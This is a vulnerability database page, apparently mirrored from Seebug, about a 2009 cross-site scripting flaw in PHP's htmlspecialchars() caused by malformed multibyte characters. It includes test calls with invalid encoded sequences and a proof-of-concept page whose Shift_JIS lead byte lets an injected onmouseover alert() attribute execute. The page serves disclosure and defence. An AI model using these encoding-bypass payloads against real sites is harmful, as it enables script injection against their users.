Lucene search
K

PHP 'htmlspecialcharacters()'畸形多字节字符跨站脚本漏洞

🗓️ 18 Dec 2009 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 54 Views

PHP 'htmlspecialcharacters()'多字节字符跨站脚本漏

Related
Code

                                                // overlong UTF-8 sequence
echo htmlspecialchars("A\xC0\xAF&",     ENT_QUOTES, 'UTF-8');
// invalid Shift_JIS sequence
echo htmlspecialchars("B\x80&",         ENT_QUOTES, 'Shift_JIS');
echo htmlspecialchars("C\x81\x7f&",     ENT_QUOTES, 'Shift_JIS');
// invalid EUC-JP sequence
echo htmlspecialchars("D\x80&",         ENT_QUOTES, 'EUC-JP');
echo htmlspecialchars("E\xA1\xFF&",     ENT_QUOTES, 'EUC-JP');
echo htmlspecialchars("F\x8E\xFF&",     ENT_QUOTES, 'EUC-JP');
echo htmlspecialchars("G\x8F\xA1\xFF&", ENT_QUOTES, 'EUC-JP');
-----------------------------------------------------------------
<?php
$_GET['a1'] = "\xf0"; // \xf0 - \xfc で可能
$_GET['a2'] = " href=dummy onmouseover=alert(document.title) dummy=dummy";
header( "Content-Type:text/html; charset=Shift_JIS" );
?>
<html>
<head><title>Shift_JIS test</title></head>
<body>
<p><a title="<?php echo htmlspecialchars( $_GET['a1'], ENT_QUOTES, 'SJIS' ) ?>" href="<?php echo htmlspecialchars( $_GET['a2'], ENT_QUOTES, 'SJIS' ) ?>">test</a></p>
</body>
</html>
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

18 Dec 2009 00:00Current
0.1Low risk
Vulners AI Score0.1
EPSS0.16946
54